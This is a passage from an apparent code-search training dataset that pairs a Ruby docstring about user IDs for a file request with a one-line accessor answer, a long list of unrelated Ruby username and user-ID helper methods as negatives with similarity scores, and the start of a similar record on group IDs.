"def admin_http_auth_user\n # This needs special magic in mongrel: http://www.ruby-forum.com/topic/83067\n # Hence the second clause which reads X-Forwarded-User header if available.\n # See the rewrite rules in conf/httpd.conf which set X-Forwarded-User\n if request.env[\"REMOTE_USER\"]\n return request.env[\"REMOTE_USER\"]\n elsif request.env[\"HTTP_X_FORWARDED_USER\"]\n return request.env[\"HTTP_X_FORWARDED_USER\"]\n else\n return \"*unknown*\";\n end\n end",
"def display_resource(user)\n user.username\n end",
"def remote_user(headers)\n user_key = headers['HTTP_X_REMOTE_USER']\n return nil if user_key.blank?\n if user_key.include?('@')\n user_key\n else\n user_key + '@umich.edu'\n end\n end",
"def getUsername\n return @username\n end",
"def user_name\n @message[:user][:name]\n end",
"def current_user\n @req.env['REMOTE_USER']\n end",
"def username\n @username\n end",
"def username\n @obj['username']\n end",
"def pull_request_user\n\t\tpull_request_where == 'jackrabbit' ? ALF_CFG['username'] : ALF_CFG['cedar_username']\n\tend",
"def username; end",
"def username; end",
"def username; end",
"def username; end",
"def username\n @username\n end",
"def to_param\n username\n end",
"def user()\n return @data[\"access\"][\"user\"]\n end",
"def username\n end",
"def query_target_username\n @attributes[:query_target_username]\n end",
"def user_name\n \"someone\"\n end",
"def name_of(user)\n user.to_s\n end",
"def name\n userName\n end",
"def user\n @user ||= opts.fetch(:user, parsed_opt('user'))\n end",
"def username\n profile['Username']\n end",
"def get_current_user\n request(Route.new(:GET, '/users/@me'))\n end",
"def _user_name(kh)\n @connection.comm.sender_name(kh) || 'unknown_user'\nend",
"def user\n conf['api']['user']\n end",
"def username\n \"rocky\"\n end",
"def username\n name\n end",
"def flagged_by\n if user_id.nil?\n return \"system\"\n else\n return User.find_name(user_id)\n end\n end",
"def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end",
"def string_username\n CaseInsensitiveString.str(current_user.getUsername())\n end",
"def user_name\n read_attribute('user_name') || \"anonymous\"\n end",
"def user_name\n @user_name ||= SlackUtils::SingletonClient.instance.find_user_name(@user_id)\n end",
"def username\n @username||=@options['username']\n end",
"def username\n response = get 'v1/market/private/user/username.json'\n response[:username]\n end",
"def to_param\n\t\tuser_name\n\tend",
"def query_username\n @attributes[:query_username]\n end",
"def param_user\n params[:username]\n end",
"def display_user(user)\n user.name\n end",
"def user\n return Etc.getlogin\n end",
"def find user_name\n response = @client.action \"DescribeUser\", \"Name\" => user_name\n\n Response::User.new response.body['DescribeUserResponse']\n rescue Hugs::Errors::BadRequest\n end",
"def who\n\t\t\t@username\n\t\tend",
"def username\n username = user.username\n end",
"def user\n metadata&.dig('event', 'user')\n end",
"def username\n @username\n end",
"def username\n @username\n end",
"def username\n @username\n end",
"def username\n @username\n end",
"def remote_user\n endpoint.remote_user\n end",
"def current_user\n get_from_options_or_controller(:current_user)\n end",
"def username\n @username || email\n end",
"def username\n user.username\n end",
"def print_user\n \"#{sender}(#{identification})\"\n end",
"def username\n user.username\n end",
"def username\n @digest_parts['username']\n end",
"def call\n user\n end",
"def user_name\n decode_string_member(:user_name)\n end",
"def display_name\n username\n end",
"def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end",
"def user_method\n current_user\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def get_current_user_name\n return @name if @name\n name = get_current_user_meta\n name = name['query']['userinfo']['name'] if name\n\n name\n end",
"def username\n @username || @token['data']\n end",
"def user\n Thread.current[\"current_user\"] \n end",
"def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"def to_param; username end",
"def to_param; username end",
"def human_user\n # If we have a doorkeeper_token, derive the User from it.\n # If not, we're in case #1 above and the User should be\n # retrieved from the non_doorkeeper_user_proc.\n @user ||= @doorkeeper_token ? \\\n USER_CLASS.where(id: @doorkeeper_token.try(:resource_owner_id)).first : \\\n @non_doorkeeper_user_proc.call\n end",
"def username\r\n return @user.username\r\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def to_param\n username\n end",
"def username\n @data['username']\n end",
"def username\n @data['username']\n end",
"def display_name \n username\n end",
"def username\n user.username\n end",
"def username\n user.username\n end"
] |
[
"0.68885666",
"0.6862821",
"0.67123306",
"0.6613009",
"0.6573832",
"0.65696734",
"0.6567153",
"0.65648025",
"0.6538043",
"0.65338075",
"0.65208584",
"0.6517496",
"0.6517496",
"0.6517496",
"0.6517496",
"0.65124947",
"0.6495803",
"0.6475025",
"0.64669937",
"0.6460731",
"0.6448386",
"0.6446768",
"0.6443979",
"0.644086",
"0.6439396",
"0.64275753",
"0.64214253",
"0.6415134",
"0.6412117",
"0.64100486",
"0.6407288",
"0.64030945",
"0.6392712",
"0.63834566",
"0.63600385",
"0.6349867",
"0.63470715",
"0.6340443",
"0.63365906",
"0.63361305",
"0.63305926",
"0.63236475",
"0.6321883",
"0.6320735",
"0.6318981",
"0.6318359",
"0.63117546",
"0.63117546",
"0.63117546",
"0.63117546",
"0.63115895",
"0.63090575",
"0.62946576",
"0.629269",
"0.62876964",
"0.6279164",
"0.62744045",
"0.6272397",
"0.6271804",
"0.62707496",
"0.6266879",
"0.6263752",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.62585115",
"0.6251945",
"0.625046",
"0.6231955",
"0.62253356",
"0.6223181",
"0.6223181",
"0.6222848",
"0.62221885",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62219054",
"0.62188613",
"0.62188613",
"0.6205535",
"0.62017107",
"0.62017107"
] |
0.0
|
-1
|
string A list of user IDs to request the file from. If sent as a string, it should be commadelimited.
|
def user_ids
@attributes[:user_ids]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read_users_string\n read_users.join(', ')\n end",
"def user_tokens=(ids)\n self.user_ids = ids.split(\",\")\n end",
"def get_files(file_ids)\n file_ids = [file_ids] unless file_ids.is_a? Array\n debug \"DivShare.get_files(): #{file_ids.class}\"\n files = get_user_files\n files.delete_if {|f| file_ids.include?(f.file_id) == false}\n end",
"def get_user_ids(fname=\"../id_list\")\n file = File.open(fname, \"r\")\n ids = []\n file.each do |line|\n ids += [Integer(line.split(\":\")[1].strip())]\n end\n file.close() \n return ids\nend",
"def set_FileIDs(value)\n set_input(\"FileIDs\", value)\n end",
"def friends_ids(user = nil, params = {})\n args = [user, params]\n get path_from_args('friends/ids', args), params_from_args(params)\n end",
"def load_users \n\tFile.readlines(file_input).each do |line|\n\t\tusernames = line.split(\",\")\n\t\t# the return value of this method needs to be an array, not the file\n\t\t# so there's an explicit return\n\t\treturn usernames\n\tend\nend",
"def read_users_string=(users)\n self.read_users = users.split(/[\\s,]+/)\n end",
"def adapt_user_ids!(p)\n p[:user_ids] = p[:user_ids].split(',') if p[:user_ids].is_a?(String)\n end",
"def user_ids \n @user_ids ||= input[\"users\"].map{|user| user[\"id\"]}\nend",
"def index\n @users = params[:ids].present? ? User.where(id: params[:ids].split(',')) : User.order(\"username ASC\")\n\n respond_to do |format|\n format.html index.html.erb\n format.json { render json: @users }\n end\n end",
"def followers_ids(user = nil, params = {})\n args = [user, params]\n get path_from_args('followers/ids', args), params_from_args(params)\n end",
"def userids\n metadata[\"userids\"]\n end",
"def friend_ids(options={})\n perform_get(\"friends/ids.#{Twitter.format}\", options)\n end",
"def add_users(ids)\n\t\t self.shared_users = ids.split(\",\").map do |id|\n \t\tUser.where(id: id.strip).first_or_create!\n \tend\n\tend",
"def get_list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/#{get_user_id!(params)}#{@url_suffix}\", params)\n end",
"def get_user_info(list)\n\trequire 'net/http'\n\tNet::HTTP.get(ENV[\"VERITAS-USER-SERVER\"] + \"/users?user_ids=#{list}\")\nend",
"def get_set_of_user_ids(arr_of_user_names)\n set_of_user_ids = Set.new\n\n arr_of_user_names.each { |name|\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/users\"\n puts \"@url is #{@url}\"\n \n @payload={'search_term': name}\n puts(\"@payload is #{@payload}\")\n \n @getResponse = HTTParty.get(@url, :body => @payload.to_json, :headers => $header)\n puts(\" GET to get user has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n user_data = @getResponse.parsed_response\n \n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end\n }\n \n return set_of_user_ids\nend",
"def discover_users_string\n discover_users.join(', ')\n end",
"def get_friends_list(user_id, *friend_ids)\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n friend_ids.each do |friend_id|\n friend_id = friend_id.to_s\n validate_identifier(:friend_ids, friend_id)\n end\n call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\n end",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def follower_ids(options={})\n perform_get(\"followers/ids.#{Twitter.format}\", options)\n end",
"def discover_users_string=(users)\n self.discover_users = users.split(/[\\s,]+/)\n end",
"def multi_ids\n params[multi_id_key].split(',')\n end",
"def user_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.users = Incline::User.where(id: values).to_a\n end",
"def get_friends_list(user_id, *friend_ids)\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n friend_ids.each do |friend_id|\r\n friend_id = friend_id.to_s\r\n @context.validate_identifier(:friend_ids, friend_id)\r\n end\r\n @context.call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\r\n end",
"def user_labels\n @users = User.where(id: params[:user_ids].split(\",\").map(&:to_i).uniq).all\n end",
"def followee_ids(user)\n expect! user => [Integer, String]\n \n benchmark :warn, \"Fetching followee_ids\" do |bm|\n r = client.friend_ids(user).all\n bm.message = \"Fetching #{r.length} followee_ids\"\n r\n end\n rescue StandardError\n $!.log \"TwitterAPI.followee_ids\"\n []\n end",
"def user_ids\n page = 1\n per_page = 100\n user_ids = []\n puts 'collecting all user ids'\n loop do\n response = @conn.get api_url('/users'),\n { page: page, per_page: per_page }.merge(token)\n raise 'Error Retrieving user_ids' if response.status != 200\n ids = JSON.parse(response.body).collect { |u| u['id'] }\n user_ids.concat(ids)\n break if ids.size < per_page\n page += 1\n end\n puts 'returning now the user ids'\n user_ids.sort\n end",
"def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end",
"def user_ids\n ids = self.retrieve_elements(\"USERS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end",
"def mutes_users_ids(optname, optarg)\n ret = nil\n\n begin\n self.client.new_auth(@account)\n user_ids_arr = self.client.mutes_ids()\n format = @options.format()\n\n if !!@options.save_as_json? then\n fs = FileSaver.create(@options.save_as_json(), \"w\", :json)\n fs.save([{:friends => user_ids_arr}])\n elsif format[:data_fmt] == Tw::App::Renderer::FMT_JSON then\n self.renderer.puts({:friends => user_ids_arr}.to_json)\n elsif format[:data_fmt] == Tw::App::Renderer::FMT_CSV then\n self.renderer.puts({:friends => user_ids_arr}.to_json)\n else\n self.renderer.puts(user_ids_arr)\n end\n\n ret = 0\n rescue Tw::Error\n raise\n rescue SystemCallError\n raise\n rescue => e\n ret = self.show_rescue(__FILE__, __LINE__, __method__, e)\n end\n return ret\n end",
"def friend_ids(query={})\n perform_get(\"/friends/ids.json\", :query => query)\nend",
"def ids\n options[:id][1..-2].split(\",\").map(&:to_i)\n end",
"def reportable_user_ids=( ids )\n ids ||= []\n ids = ids.values if ( ids.is_a?( Hash ) or ids.is_a?( HashWithIndifferentAccess ) )\n @reportable_user_ids = ids.map { | str | str.to_i }\n\n # Security - if the current user is restricted they might try and hack\n # the form to view other user details.\n\n if ( @current_user.restricted? )\n @reportable_user_ids = [ @current_user.id ] unless( @reportable_user_ids.empty? )\n end\n\n # Turn the list of (now numeric) user IDs into user objects.\n\n @users = User.where( :id => @reportable_user_ids )\n end",
"def add_owner_ids(ids)\r\n return if ids.nil?\r\n \r\n ids = [ids] unless ids.respond_to?(:each)\r\n ids.each do | id |\r\n @request.OwnerIDList.Add(id)\r\n end\r\n end",
"def user_ids\n users.collect(&:id)\n end",
"def requester_ids\n @requester_ids ||= []\n end",
"def user_ids\n users.pluck(:id)\n end",
"def all_users\n\t\tshared_users.map(&:id).join(\", \")\n\tend",
"def get_ids(array)\n ids = \"(\"\n array.each do |me|\n ids << me.id.to_s + \",\"\n end\n ids = ids.chomp(\",\")\n ids = ids + \")\"\n return ids\n\n end",
"def identifiers\n request[:ids]\n end",
"def user_file_params\n params.require(:user_file).permit(:title, :desc, :file, :user_file_tag_list, :user_file_tag, { user_file_tag_ids: [] }, :user_file_tag_ids)\n end",
"def for_id(user_id)\n Iterable.request(conf, \"/users/byUserId/#{user_id}\").get\n end",
"def shared_by_me\n if !params[:id] then\n files_list = []\n files = session[:user].x_files_shared_by_me.all(uploaded: true)\n files.each { |file| files_list.push(file.description(session[:user])) }\n @result = { files: files_list, success: true }\n else\n file = WFile.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_access, \"No access\") unless file.users.include? session[:user]\n \n users = []\n file.users_receiving.each { |user| users.push user.description }\n @result = { success: true, file: file.description(session[:user]), users: users }\n end\n end",
"def users(target = nil)\n send_data(\"USERS #{target}\".strip)\n end",
"def followees\n if user.followees == \"[]\"\n [\"You are not following anyone!\"]\n else\n user.followees.gsub(\"\\\"\",\"\").split(\", \").map do |r|\n r.gsub(\"[\",\"\").gsub(\"]\",\"\")\n end\n end\n end",
"def filtered_item_ids(filter, params = {})\n resp = @client.access_token.get(ItemList.merge_query_string(\"/reader/api/0/stream/items/ids?output=json&s=user/#{user_id}/state/com.google/#{filter}&n=20\", params))\n raise \"unable to retrieve the list of #{filter} item ids for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['itemRefs'].collect do |hash|\n Google::Reader::ItemRef.new(hash)\n end\n end",
"def private(users)\n [users].flatten.map{ |user| \"user_#{user.is_a?(User) ? user.id : user}\" }\n end",
"def get_file q, *emails\n params = {\n :query => {\n \"ClientToken\" => self.token,\n \"q\" => q,\n \"email\" => emails.join(\",\")\n }\n }\n\n post 'query_get_file.php', params\n end",
"def get_followees(ids)\n followees_resp = twitter_user.request(:get, configatron.api_call_url + \"users/lookup.json?user_id=#{ids.join(',')}\")\n \n if followees_resp.is_a?(Net::HTTPSuccess)\n get_nicknames_and_names(JSON.parse(followees_resp.body))\n end\n end",
"def reply_users_names\n reply_users&.split(/[, ]+/)&.map do |reply_user_id|\n User.find(reply_user_id).real_name\n end&.join(', ')\n end",
"def get_following_ids_string\n following_ids = self.followed_users.pluck(:id) << self.id\n following_ids.reduce('(') { |final_string, id| final_string + id.to_s + ','}.chop + ')'\n end",
"def all_friend_ids(username = false)\n ids = []\n cursor = \"-1\"\n while cursor != 0 do \n json = get(\"/friends/ids.json?cursor=#{cursor}#{username ? \"&screen_name=#{username}\" : ''}\")\n cursor = json[\"next_cursor\"]\n ids += json[\"ids\"]\n end\n ids\n end",
"def list_files(logged_in_user, order)\n files = []\n if logged_in_user.can_read(self.id)\n files = self.myfiles.find(:all, :order => order)\n end\n\n # return the files:\n return files\n end",
"def get_user_files(limit=nil, offset=nil)\n args = {}\n args['limit'] = limit unless limit.nil?\n args['offset'] = offset unless offset.nil?\n response = send_method(:get_user_files, args)\n files_from response\n end",
"def merge_users!(user_ids_or_screen_names)\n user_ids, screen_names = [], []\n user_ids_or_screen_names.flatten.each do |user_id_or_screen_name|\n case user_id_or_screen_name\n when Integer\n user_ids << user_id_or_screen_name\n when String\n screen_names << user_id_or_screen_name\n end\n end\n self[:user_id] = user_ids.join(',') unless user_ids.empty?\n self[:screen_name] = screen_names.join(',') unless screen_names.empty?\n self\n end",
"def merge_users!(user_ids_or_screen_names)\n user_ids, screen_names = [], []\n user_ids_or_screen_names.flatten.each do |user_id_or_screen_name|\n case user_id_or_screen_name\n when Integer\n user_ids << user_id_or_screen_name\n when String\n screen_names << user_id_or_screen_name\n end\n end\n self[:user_id] = user_ids.join(',') unless user_ids.empty?\n self[:screen_name] = screen_names.join(',') unless screen_names.empty?\n self\n end",
"def userids(*values)\n values.inject(self) { |res, val| res._userids(val) }\n end",
"def get_bookids_from_param(bookid_string)\n if bookid_string.blank? \n return []\n end\n return bookid_string.split(\",\")\n end",
"def shared_token=(ids)\n #self.shared_ids = ids.split(\",\")\n end",
"def userlist_params\n params.require(:userlist).permit(:name, :file)\n end",
"def user_id_denylist\n # Cast for Steep\n _ = @options[:user_id_denylist] || []\n end",
"def selected_ids(param_name)\n @selected_ids = params[param_name] || params[:selected_ids]\n if(@selected_ids && @selected_ids.kind_of?(Array))\n @selected_ids = @selected_ids.join(\",\") \n end\n @selected_ids = @selected_ids.split(',')\n end",
"def user_params\n params.permit(:ids, :name, :email)\n end",
"def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end",
"def user_ids=(e) #setter\n write_attribute :user_ids, (e.collect {|f| f.to_i}).to_json\n end",
"def users(list_id)\n Iterable.request(conf, '/lists/getUsers', listId: list_id).get\n end",
"def userfile_params\n params.require(:userfile).permit(:filename, :user_id, :mycontact_id, :meeting_id, :references)\n end",
"def send_file_info(last, path)\n if not last == nil\n user = current_user\n path = path.force_encoding(\"UTF-8\")\n @file_names = \"#{path.split('/').last}\" + \"\\n\"\n @access_url = \"#{HOSTING_URL}\" + \"/user_files/\"+ \"#{user.userid}\" + path.force_encoding(\"UTF-8\") \n \n else\n @file_names = \"error\"\n @access_url = \"\"\n end\n puts_message \"send_file_info end\" \n end",
"def uploaded_file_ids\n file_ids = []\n @files.each do |f|\n response = @client.upload_file(f[:path], f[:content_type])\n file_ids << response['files'][0]['id']\n end\n file_ids\n end",
"def items_from_ids(ids_array)\n id_strs = ids_array.collect do |id|\n id = if id.is_a? Google::Reader::ItemRef\n id.id\n elsif id.is_a?(Fixnum) || id.is_a?(Bignum)\n id\n else\n raise \"invalid item id type: #{id} (class: #{id.class})\"\n end\n \"i=#{id}\"\n end\n\n resp = @client.access_token.post(\"/reader/api/0/stream/items/contents\", id_strs.join(\"&\"))\n raise \"unable to retrieve the item contents for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n Google::Reader::ItemList.new(@client, resp.body)\n end",
"def read_user_creds\n return [] unless File.exist?(\"names.txt\")\n #clean_file = File.read(\"names.txt\").split(\"\\n\")\n clean_file.uniq\n end",
"def get_recipients(file_path)\n data = ''\n f = File.open(file_path, \"r\")\n f.each_line do |line|\n data += line\n end\n\n data_arry = data.split(\",\")\n return data_arry\n end",
"def initialize(user_ids)\n @user_ids = user_ids\n end",
"def get_users_with_access(file_id)\n return $db.execute(\"SELECT user_id FROM shared_files WHERE file_id = ?\", file_id)\nend",
"def user_ids_who_liked_status(id)\n\t\tHTTP.get(\"https://twitter.com/i/activity/favorited_popup?id=#{id}\").body.to_s.scan(/data-user-id=\\\\\"(\\d+)/).flatten.uniq\n\tend",
"def get_shared_files(user_id)\n shared_file_ids = $db.execute(\"SELECT file_id FROM file_share_table WHERE user_id = ?\", user_id)\n \n files = []\n shared_file_ids.each do |id|\n files << $db.execute(\"SELECT * FROM files WHERE id = ?\", id[\"file_id\"])[0]\n end\n return files\nend",
"def multi_ids_request?\n params[multi_id_key] && params[multi_id_key].include?(',')\n end",
"def index\n if params[:user_file_tag]\n @user_files = UserFile.tagged_with(params[:user_file_tag]).where(user_id: current_user.id)\n else\n @user_files = UserFile.where(user_id: current_user.id)\n end\n end",
"def before_form #:nodoc:\n params = self.params\n ids = params[:interface_userfile_ids]\n \n userfiles = Userfile.find(ids)\n\n if userfiles.size == 1 && userfiles.first.is_a?(FileCollection)\n params[:collection_id] = userfiles.first.id\n return \"\"\n else\n cb_error \"Probtrackx must be run on a single collection.\"\n end\n end",
"def show\n @file_urls = params[:file_urls].split(\",\") if params[:file_urls].present?\n @bids = @inspection.bids.paginate(page: params[:page])\n end",
"def files_for(user)\n files.select { |f| f.can_read? user }\n end",
"def admin_request_images_list\n %w( tt_request_images_list@booktrope.com )\n end",
"def consuming_users(day, user_ids_in=nil)\n\n and_user_ids_in = \"AND user_id IN (#{user_ids_in.join(\",\")})\" unless user_ids_in.nil?\n\n return \"SELECT DISTINCT user_id\n FROM ns2_notification_items\n WHERE created_at BETWEEN '#{day} 00:00:00' AND '#{day} 23:59:59'\n #{and_user_ids_in}\"\n end",
"def index\n @trackers = Tracker.all\n @trackers = @trackers.where(id: params[:ids].split(',')) if params[:ids].present?\n end",
"def item_id\n params['USER1']\n end",
"def list_ids params={}\n @nimble.get \"contacts/ids\", params\n end",
"def update\n\t\tuser_id_array = params[:user_id_csv].split(\",\")\n\t\t\n\t\tproject = Project.find(params[:project_id])\n\t\tproject.users = []\n\t\tuser_id_array.each do |user_id|\n \tproject.users << User.find(user_id)\n end\n project.save!\n\n render json: project.users\n\tend",
"def follow(*user_ids)\n query_params = user_ids.pop if user_ids.last.is_a?(::Hash)\n query_params ||= {}\n filter(query_params.merge(:follow => user_ids))\n end",
"def bids_dataset #:nodoc:\n return @bids_dataset if @bids_dataset\n if params[:_cb_bids_id].present?\n @bids_dataset = BidsDataset.find(params[:_cb_bids_id])\n return @bids_dataset\n end\n ids = params[:interface_userfile_ids] || []\n bids_datasets = BidsDataset.where(:id => ids)\n cb_error \"This task requires a single BidsDataset as input\" unless bids_datasets.count == 1\n @bids_dataset = bids_datasets.first\n params[:_cb_bids_id] = @bids_dataset.id\n params[:interface_userfile_ids]\n .reject! { |x| x.to_s == @bids_dataset.id.to_s }\n return @bids_dataset\n end",
"def signature_request_files(opts)\n path = \"/signature_request/files/#{opts[:signature_request_id]}\"\n if opts[:file_type]\n path = path + \"?file_type=#{opts[:file_type]}\"\n end\n\n if opts[:get_url]\n separator = opts[:file_type].nil? ? '?' : '&'\n path = path + \"#{separator}get_url=#{opts[:get_url]}\"\n elsif opts[:get_data_uri]\n separator = opts[:file_type].nil? ? '?' : '&'\n path = path + \"#{separator}get_data_uri=#{opts[:get_data_uri]}\"\n end\n\n get(path)[:body]\n end",
"def recipients\n @recipients ||= User.where(id: self.user_ids.split(/,/))\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def get_user_ids(deal_id, multiple_redeem = false)\n date = DateTime.now.in_time_zone(\"Singapore\").end_of_day\n if multiple_redeem\n user_ids = Array.new\n all_users = Redemption.where(deal_id: deal_id).where(\"created_at <= ?\", date).select(:user_id).distinct.pluck(:user_id)\n all_users.each do |au|\n if Redemption.where(deal_id: deal_id, user_id: au).count > 1\n user_ids << au\n end\n end\n user_ids\n else\n Redemption.where(deal_id: deal_id).where(\"created_at <= ?\", date).select(:user_id).distinct.pluck(:user_id)\n end\n end",
"def get_user_files_using_get_with_http_info(user_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.get_user_files_using_get ...'\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling FilesApi.get_user_files_using_get\"\n end\n # resource path\n local_var_path = '/api/v2/users/{userId}/files'.sub('{' + 'userId' + '}', user_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'tag[]'] = @api_client.build_collection_param(opts[:'tag'], :multi) if !opts[:'tag'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKeyInHeader', 'oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIListOfAPIUserFile')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#get_user_files_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def arr_participants\n participants.split(',').map{|id|\n User.find(id) rescue nil\n }\n end",
"def get_followees_ids(page)\n page ||= 0\n # To get friend ids, we need to supply a cursor which starts at -1 and has bucket size of 5000 (https://dev.twitter.com/docs/api/1/get/friends/ids)\n cursor = (((page*configatron.page_size)+configatron.page_size) / 5000).floor - 1\n \n followees_ids_resp = twitter_user.request(:get, configatron.api_call_url + \"friends/ids.json\", { 'cursor' => cursor.to_s })\n \n ids = JSON.parse(followees_ids_resp.body) if followees_ids_resp.is_a?(Net::HTTPSuccess)\n return ids['ids'] if ids\n end"
] |
[
"0.62312734",
"0.6093678",
"0.606593",
"0.60624576",
"0.60335135",
"0.5956571",
"0.5875273",
"0.5851331",
"0.58004224",
"0.57294893",
"0.5722834",
"0.56856424",
"0.56604564",
"0.56468326",
"0.56119037",
"0.55858153",
"0.55769604",
"0.5536077",
"0.55360246",
"0.55284667",
"0.54953694",
"0.54851764",
"0.5481214",
"0.545707",
"0.54358834",
"0.54243994",
"0.5419607",
"0.5336656",
"0.5329615",
"0.53092",
"0.5270915",
"0.52584565",
"0.5252153",
"0.5235606",
"0.52331007",
"0.52044344",
"0.5199856",
"0.5176781",
"0.515907",
"0.5152869",
"0.51414746",
"0.5139909",
"0.51367795",
"0.51326334",
"0.51208645",
"0.5119445",
"0.5107946",
"0.50920445",
"0.509074",
"0.5079717",
"0.507806",
"0.50728285",
"0.50697184",
"0.50526416",
"0.50513476",
"0.5042645",
"0.5035479",
"0.5035479",
"0.50323373",
"0.5028422",
"0.5022536",
"0.5006826",
"0.50054026",
"0.49999586",
"0.49947694",
"0.49909097",
"0.4984598",
"0.4974584",
"0.49706262",
"0.49690017",
"0.49616307",
"0.49610958",
"0.4957359",
"0.49572173",
"0.493091",
"0.49307013",
"0.4929636",
"0.49295974",
"0.492944",
"0.4928348",
"0.49248657",
"0.49222422",
"0.491317",
"0.4905839",
"0.48963147",
"0.48941132",
"0.4891276",
"0.48867527",
"0.4886426",
"0.488347",
"0.48740843",
"0.4867634",
"0.48627266",
"0.48627013",
"0.48547092",
"0.48512006",
"0.48463947",
"0.48360172"
] |
0.52486384
|
33
|
string A list of group IDs to request the file from. If sent as a string, it should be commadelimited.
|
def group_ids
@attributes[:group_ids]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read_groups_string\n read_groups.join(', ')\n end",
"def read_groups_string=(groups)\n self.read_groups = groups.split(/[\\s,]+/)\n end",
"def groups\n group_ids.split(',').inject(Array.new) do |arr,gid|\n arr << Ecore::Group.where(:id => gid).first\n end\n end",
"def multi_ids\n params[multi_id_key].split(',')\n end",
"def send_group_list\n I3.server.send_object(I3.directory.find_all_groups)\n end",
"def discover_groups_string\n discover_groups.join(', ')\n end",
"def groupID _args\n \"groupID _args;\" \n end",
"def discover_groups_string=(groups)\n self.discover_groups = groups.split(/[\\s,]+/)\n end",
"def postGroupBulk_delete( group_id, filedata)\n params = Hash.new\n params['group_id'] = group_id\n params['filedata'] = filedata\n return doCurl(\"post\",\"/group/bulk_delete\",params)\n end",
"def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end",
"def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end",
"def groupFromNetId _args\n \"groupFromNetId _args;\" \n end",
"def set_FileIDs(value)\n set_input(\"FileIDs\", value)\n end",
"def groupid_and_artifactid\n \"#{group_id}:#{artifact_id}\"\n end",
"def set_file_group_id(client, id)\n self.config[client]['file_group_id'] = id\n end",
"def group_ids\n groups.map{|g| g.id}\n end",
